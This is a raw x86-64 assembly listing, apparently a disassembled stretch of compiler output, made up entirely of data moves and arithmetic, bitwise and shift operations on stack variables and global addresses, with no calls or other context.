mov rcx, qword [0x14017a838]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x178], al
movsx eax, word [rsp + 0xd50]
movsx ecx, word [rsp + 0xd28]
add eax, ecx
mov rcx, qword [rsp + 0x7158]
mov word [rcx], ax
lea rax, [rsp + 0x101]
mov qword [rsp + 0x9ce8], rax
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfd4], ax
mov rax, qword [rsp + 0x8ac0]
mov qword [rsp + 0x9cf0], rax
mov rax, qword [rsp + 0x8738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3eb4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8100]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a70]
mov rcx, qword [rsp + 0x6c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0x8230]
mov rax, qword [rax]
mov qword [rsp + 0x9cf8], rax
lea rax, [rsp + 0x1068]
mov qword [0x14017ab18], rax
movsx eax, word [rsp + 0x1178]
mov rcx, qword [0x14017a620]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d30]
movzx eax, byte [rax]
mov byte [rsp + 0x1b9], al
mov rax, qword [rsp + 0x9a60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x104]
or eax, ecx
mov rcx, qword [rsp + 0x93c0]
mov byte [rcx], al
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x9d00], rax
mov rax, qword [rsp + 0x8e70]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7678], rax
mov rax, qword [rsp + 0x76e0]
mov rcx, qword [rsp + 0x86f8]
mov qword [rsp + 0x9d08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d08]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9978]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e34]
mov dword [rsp + 0x41a0], eax
mov eax, dword [rsp + 0x3c74]
movzx ecx, al
mov eax, dword [section..data]
shr eax, cl
mov dword [rsp + 0x3d18], eax
movsx eax, byte [rsp + 0xfa]
movsx ecx, byte [rsp + 0x6b]
add eax, ecx
mov rcx, qword [0x14017a760]
mov byte [rcx], al
lea rax, [rsp + 0xfbc]
mov qword [rsp + 0x9d10], rax
mov rax, qword [0x14017a4e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x104c]
and eax, ecx
mov word [rsp + 0x1154], ax
movsx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0x9868]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcb0], ax
lea rax, [0x14017a4d4]
mov qword [rsp + 0x9d18], rax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x8078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7d10], rax
mov eax, dword [rsp + 0x4018]
mov dword [rsp + 0x41a4], eax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x75c8]
mov ecx, dword [rsp + 0x416c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7e18]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd40]
movsx ecx, word [rsp + 0xd34]
sub eax, ecx
mov word [0x140179144], ax
mov rax, qword [rsp + 0x89f0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ba], al
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x7158]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf68], ax
movzx eax, byte [rsp + 0xd6]
mov byte [rsp + 0x1bb], al
movzx eax, word [rsp + 0xe70]
movzx ecx, word [rsp + 0xd60]
add eax, ecx
mov word [rsp + 0xecc], ax
lea rax, [rsp + 0x3ecc]
mov qword [rsp + 0x9d20], rax
mov rax, qword [rsp + 0x85d0]
mov rcx, qword [rsp + 0x8768]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x88b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e78]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e24], eax
lea rax, [rsp + 0x9590]
mov qword [rsp + 0x9d28], rax
movzx eax, byte [rsp + 0x10b]
movzx ecx, byte [rsp + 0x1ab]
or eax, ecx
mov rcx, qword [0x14017a630]
mov byte [rcx], al
movzx eax, byte [0x14017908a]
movzx ecx, byte [rsp + 0x9a]
sar eax, cl
mov byte [rsp + 0x4f], al
movzx eax, word [rsp + 0xc80]
mov word [rsp + 0x11b8], ax
movsx eax, byte [rsp + 0x114]
movsx ecx, byte [rsp + 0x1bb]
shl eax, cl
mov byte [rsp + 0x143], al
movzx eax, word [0x140179060]
mov rcx, qword [rsp + 0x76e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8860]
mov word [rcx], ax
lea rax, [rsp + 0x91e0]
mov qword [rsp + 0x9d30], rax
mov eax, dword [rsp + 0x3d30]
mov ecx, dword [rsp + 0x3d18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8608]
mov dword [rcx], eax
lea rax, [0x14017a4d0]
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0x75e8]
mov rcx, qword [rsp + 0x7668]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7930], rax
movsx eax, byte [rsp + 0x16d]
movsx ecx, byte [0x140179046]
add eax, ecx
mov rcx, qword [rsp + 0x8c98]
mov byte [rcx], al
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x88f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017aaa8]
mov word [rcx], ax
lea rax, [rsp + 0x13f]
mov qword [rsp + 0x9d40], rax
movzx eax, word [rsp + 0xff0]
movzx ecx, word [0x1401790f4]
add eax, ecx
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0x7960]
movzx eax, word [rax]
mov word [rsp + 0x11bc], ax
mov rax, qword [rsp + 0x7d00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7308]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x73e8], rax
mov rax, qword [rsp + 0x9730]
mov ecx, dword [0x140179004]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7600]
mov eax, dword [rax]
mov dword [rsp + 0x41a8], eax
mov rax, qword [rsp + 0x84c8]
mov rcx, qword [rsp + 0x85e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b38], rax
mov rax, qword [rsp + 0x71b0]
movzx eax, byte [rax]
mov byte [rsp + 0x1bc], al
mov rax, qword [0x14017a810]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x81a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140179148], ax
mov rax, qword [rsp + 0x9800]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7da0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [0x14017a6f8]
movzx eax, word [rax]
mov word [rsp + 0x11c0], ax
movsx eax, word [rsp + 0x11b8]
mov rcx, qword [rsp + 0x8418]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x6fc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x418c]
sar eax, cl
mov rcx, qword [rsp + 0x7968]
mov dword [rcx], eax
lea rax, [rsp + 0x3fe8]
mov qword [rsp + 0x9d48], rax
mov rax, qword [rsp + 0x7c18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c10]
mov qword [rsp + 0x9d50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7868], rax
mov rax, qword [rsp + 0x8288]
mov qword [rsp + 0x9d58], rax
mov rax, qword [rsp + 0x85a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9aa8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7470]
mov byte [rcx], al
lea rax, [rsp + 0x8c]
mov qword [0x14017ab20], rax
movsx eax, word [rsp + 0xfa4]
movsx ecx, word [rsp + 0xe40]
and eax, ecx
mov word [rsp + 0xc60], ax
lea rax, [rsp + 0xee4]
mov qword [rsp + 0x9d60], rax
mov rax, qword [0x14017aa38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov rcx, qword [rsp + 0x6fa0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3c00]
mov dword [rsp + 0x41ac], eax
mov rax, qword [rsp + 0x8728]
mov rcx, qword [rsp + 0x9648]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7308]
mov rcx, qword [rsp + 0x8818]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9238]
mov qword [rcx], rax
mov rax, qword [rsp + 0x89f8]
mov eax, dword [rax]
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0x9038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x95c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x77f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf8]
sub eax, ecx
mov byte [0x140179042], al
mov rax, qword [rsp + 0x7a28]
movzx eax, byte [rax]
mov byte [rsp + 0x1bd], al
movzx eax, word [rsp + 0x11ac]
movzx ecx, word [rsp + 0xce8]
sub eax, ecx
mov rcx, qword [rsp + 0x7cd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8080]
movzx eax, word [rax]
mov word [rsp + 0x11c4], ax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x1030]
add eax, ecx
mov word [rsp + 0xd64], ax
mov rax, qword [rsp + 0x7f28]
mov rcx, qword [rsp + 0x7250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7138], rax
lea rax, [rsp + 0x78d8]
mov qword [rsp + 0x9d68], rax
mov eax, dword [rsp + 0x4064]
movzx ecx, al
mov eax, dword [rsp + 0x3cd0]
shl eax, cl
mov dword [rsp + 0x3fe4], eax
mov eax, dword [rsp + 0x3c14]
mov dword [rsp + 0x41b4], eax
movsx eax, word [0x140179094]
mov rcx, qword [rsp + 0x8dc0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401790d0], ax
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d00]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x7da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x43], al
movzx eax, word [rsp + 0xc50]
mov word [rsp + 0x11c8], ax
movsx eax, byte [rsp + 0x1b4]
mov rcx, qword [rsp + 0x9308]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1a7], al
mov eax, dword [rsp + 0x4170]
mov dword [rsp + 0x41b8], eax
mov rax, qword [rsp + 0x8b20]
mov rcx, qword [rsp + 0x8f00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a50], rax
mov rax, qword [rsp + 0x87e0]
mov rcx, qword [rsp + 0x6dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6a28]
mov dword [rcx], eax
lea rax, [0x140179010]
mov qword [rsp + 0x9d70], rax
mov rax, qword [rsp + 0x7640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x87c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790a6], al
mov rax, qword [rsp + 0x9378]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x94b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x94], al
lea rax, [rsp + 0xfb0]
mov qword [rsp + 0x9d78], rax
mov rax, qword [rsp + 0x6cd0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x85a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8740]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ac0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xedc]
add eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x7430]
mov rcx, qword [rsp + 0x8350]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ff8]
mov qword [rcx], rax
lea rax, [rsp + 0x91a0]
mov qword [rsp + 0x9d80], rax
mov rax, qword [rsp + 0x7658]
mov rcx, qword [rsp + 0x8c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7658]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7948]
movzx eax, byte [rax]
mov byte [0x14017a63d], al
mov rax, qword [rsp + 0x9ba0]
movzx eax, byte [rax]
mov byte [rsp + 0x1be], al
movsx eax, word [rsp + 0xd40]
mov rcx, qword [rsp + 0x8fb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1148], ax
mov rax, qword [rsp + 0x91a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
or eax, ecx
mov rcx, qword [rsp + 0x82a0]
mov word [rcx], ax
movzx eax, word [rsp + 0x10ac]
mov word [rsp + 0x11cc], ax
mov rax, qword [rsp + 0x9160]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77e8]
mov qword [rsp + 0x9d88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9d88]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6a70], rax
lea rax, [rsp + 0x9ae8]
mov qword [rsp + 0x9d90], rax
mov eax, dword [rsp + 0x3e6c]
movzx ecx, al
mov eax, dword [rsp + 0x400c]
shl eax, cl
mov dword [rsp + 0x40b8], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3af0], eax
movsx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x9558]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a6e0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ba]
mov byte [rsp + 0x1bf], al
movsx eax, word [0x14017a580]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1164], ax
lea rax, [rsp + 0xfbc]
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0x6b40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
sub eax, ecx
mov rcx, qword [rsp + 0x9778]
mov word [rcx], ax
mov rax, qword [rsp + 0x9978]
mov rcx, qword [rsp + 0x9880]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x80c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov qword [rsp + 0x9da0], rax
mov rax, qword [rsp + 0x93d8]
mov ecx, dword [rsp + 0x3db0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov dword [rsp + 0x41c0], eax
movsx eax, byte [rsp + 0x18b]
movsx ecx, byte [rsp + 0x155]
add eax, ecx
mov byte [0x14017a63c], al
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [0x140179076]
and eax, ecx
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
movzx eax, word [rsp + 0x10c8]
movzx ecx, word [rsp + 0xf84]
imul eax, ecx
mov rcx, qword [rsp + 0x7a90]
mov word [rcx], ax
movzx eax, word [rsp + 0xc9c]
mov word [rsp + 0x11d0], ax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [0x14017900e]
add eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x8d90]
mov rax, qword [rax]
mov qword [rsp + 0x9da8], rax
mov rax, qword [rsp + 0x6f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8440]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d88], rax
lea rax, [rsp + 0x4008]
mov qword [rsp + 0x9db0], rax
mov rax, qword [rsp + 0x8530]
mov eax, dword [rax]
mov ecx, dword [0x140179004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xee8]
sar eax, cl
mov word [0x14017914c], ax
movsx eax, byte [rsp + 0xf8]
mov rcx, qword [0x14017a838]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1a6], al
movzx eax, word [rsp + 0xe40]
mov word [rsp + 0x11d4], ax
mov rax, qword [rsp + 0x7670]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ec8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8990]
mov word [rcx], ax
movzx eax, byte [0x14017908b]
mov byte [rsp + 0x1c0], al
mov eax, dword [rsp + 0x3f20]
mov ecx, dword [rsp + 0x3c20]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0x9978]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x70d0]
mov qword [rcx], rax
lea rax, [rsp + 0x40c4]
mov qword [rsp + 0x9db8], rax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x9268]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x87c0], rax
mov rax, qword [rsp + 0x70b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf70]
add eax, ecx
mov word [0x140179150], ax
movzx eax, word [0x1401790d0]
mov word [rsp + 0x11d8], ax
mov rax, qword [rsp + 0x88a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x165]
sub eax, ecx
mov byte [rsp + 0x112], al
movzx eax, byte [rsp + 0x146]
mov rcx, qword [rsp + 0x6bf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x74a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x1c1], al
mov eax, dword [rsp + 0x409c]
mov ecx, dword [rsp + 0x3c48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3eb0], eax
mov eax, dword [rsp + 0x3fa4]
mov dword [rsp + 0x41c4], eax
mov rax, qword [rsp + 0x7510]
mov rcx, qword [rsp + 0x86c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
lea rax, [rsp + 0x6c00]
mov qword [rsp + 0x9dc0], rax
movzx eax, byte [rsp + 0x167]
mov rcx, qword [rsp + 0x6e88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xde], al
movzx eax, word [0x140179048]
movzx ecx, word [rsp + 0xc58]
imul eax, ecx
mov word [0x140179070], ax
mov rax, qword [rsp + 0x84e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7528]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x195]
mov byte [rsp + 0x1c2], al
movsx eax, byte [rsp + 0x1bb]
mov rcx, qword [rsp + 0x8978]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x18d], al
lea rax, [rsp + 0x8d28]
mov qword [rsp + 0x9dc8], rax
mov eax, dword [rsp + 0x3fd0]
cdq
idiv dword [rsp + 0x40ac]
mov dword [rsp + 0x3dd8], eax
mov rax, qword [rsp + 0x8278]
mov rcx, qword [rsp + 0x8cf0]
mov qword [rsp + 0x9dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9dd0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x8608]
mov eax, dword [rax]
mov dword [rsp + 0x41c8], eax
movzx eax, byte [rsp + 0x45]
movzx ecx, byte [rsp + 0x169]
xor eax, ecx
mov byte [rsp + 0x69], al
movzx eax, word [rsp + 0xdc0]
mov rcx, qword [rsp + 0x9ad8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a8a0]
mov word [rcx], ax
lea rax, [rsp + 0x10f8]
mov qword [rsp + 0x9dd8], rax
mov rax, qword [rsp + 0x9bf0]
movzx eax, word [rax]
mov rcx, qword [0x14017a6f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8840]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8f]
movzx ecx, byte [rsp + 0xfb]
and eax, ecx
mov byte [rsp + 0x13f], al
lea rax, [rsp + 0x40ec]
mov qword [rsp + 0x9de0], rax
mov rax, qword [rsp + 0x8868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7068], rax
mov rax, qword [rsp + 0x7620]
mov eax, dword [rax]
mov dword [rsp + 0x41cc], eax
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0x8e88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e58], rax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0xc24]
sub eax, ecx
mov word [rsp + 0xdc0], ax
lea rax, [rsp + 0xff8]
mov qword [0x14017ab28], rax
mov rax, qword [rsp + 0x89a8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x8190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xffc]
add eax, ecx
mov rcx, qword [rsp + 0x99c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a58]
movzx eax, byte [rax]
mov byte [rsp + 0x1c4], al
mov rax, qword [rsp + 0x7cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d88]
mov dword [rcx], eax
lea rax, [rsp + 0x3e00]
mov qword [rsp + 0x9de8], rax
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9268]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e20]
mov rcx, qword [rsp + 0x9ae0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ce0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c50]
movzx eax, word [rax]
mov word [rsp + 0x11dc], ax
movsx eax, byte [0x14017a4d5]
mov rcx, qword [rsp + 0x77f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017a4fb], al
movzx eax, byte [rsp + 0xc5]
movzx ecx, byte [rsp + 0x15b]
xor eax, ecx
mov byte [rsp + 0x98], al
lea rax, [rsp + 0xff4]
mov qword [rsp + 0x9df0], rax
movzx eax, byte [0x140179023]
movzx ecx, byte [rsp + 0x199]
shl eax, cl
mov byte [rsp + 0x177], al
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0xde4]
or eax, ecx
mov rcx, qword [rsp + 0x9c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x9db0]
mov eax, dword [rax]
mov dword [rsp + 0x41d0], eax
mov rax, qword [rsp + 0x81f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140179010]
shr rax, cl
mov rcx, qword [rsp + 0x9a08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7230]
mov eax, dword [rax]
mov dword [rsp + 0x41d4], eax
mov rax, qword [rsp + 0x9950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6be8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e90]
mov qword [rcx], rax
lea rax, [rsp + 0xd50]
mov qword [0x14017ab30], rax
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0x9cb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x9750]
movzx eax, byte [rax]
mov byte [rsp + 0x1c5], al
mov rax, qword [rsp + 0x7b18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc38]
imul eax, ecx
mov word [rsp + 0xdc0], ax
lea rax, [rsp + 0xdb0]
mov qword [rsp + 0x9df8], rax
mov rax, qword [rsp + 0x8f28]
mov rcx, qword [rsp + 0x6c00]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7278], rax
mov eax, dword [rsp + 0x412c]
mov dword [rsp + 0x41d8], eax
mov rax, qword [rsp + 0x8a30]
mov rcx, qword [rsp + 0x91a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x89c0]
mov ecx, dword [rsp + 0x3c1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4094], eax
mov rax, qword [0x14017a660]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x87]
sub eax, ecx
mov byte [0x1401790a3], al
mov rax, qword [rsp + 0x7580]
movzx eax, word [rax]
mov word [rsp + 0x11e0], ax
mov rax, qword [rsp + 0x7870]
movzx eax, byte [rax]
mov rcx, qword [0x14017aaf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a9], al
movzx eax, byte [rsp + 0x7d]
mov byte [rsp + 0x1c6], al
mov rax, qword [rsp + 0x9458]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x95a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x71f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7648], rax
lea rax, [rsp + 0x41a4]
mov qword [rsp + 0x9e00], rax
mov rax, qword [rsp + 0x6e28]
mov rcx, qword [rsp + 0x7eb8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8960]
mov qword [rcx], rax
lea rax, [rsp + 0x3ed8]
mov qword [rsp + 0x9e08], rax
movzx eax, byte [rsp + 0x141]
mov byte [0x14017a63e], al
movsx eax, word [rsp + 0x11c4]
mov rcx, qword [rsp + 0x9bc0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe44], ax
mov rax, qword [rsp + 0x7f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
sar eax, cl
mov byte [rsp + 0x139], al
lea rax, [rsp + 0xce4]
mov qword [rsp + 0x9e10], rax
mov rax, qword [rsp + 0x7408]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d18]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x71f0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3de8]
mov dword [rsp + 0x41dc], eax
mov rax, qword [rsp + 0x89a0]
mov ecx, dword [rsp + 0x3ff4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7090]
mov rcx, qword [rsp + 0x96b8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8df0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ee8]
mov qword [rsp + 0x9e18], rax
movsx eax, byte [0x140179072]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401790a7], al
mov rax, qword [rsp + 0x7b80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
sub eax, ecx
mov rcx, qword [rsp + 0x7490]
mov word [rcx], ax
lea rax, [rsp + 0xec0]
mov qword [rsp + 0x9e20], rax
mov rax, qword [0x14017a9f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x91e8]
mov byte [rcx], al
lea rax, [rsp + 0xd70]
mov qword [rsp + 0x9e28], rax
mov rax, qword [rsp + 0x91b0]
mov rcx, qword [rsp + 0x7200]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x70e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [rsp + 0x7ff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b90]
mov qword [rsp + 0x9e30], rax
mov rax, qword [rsp + 0x8530]
mov rcx, qword [rsp + 0x7ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x77c0]
mov dword [rcx], eax
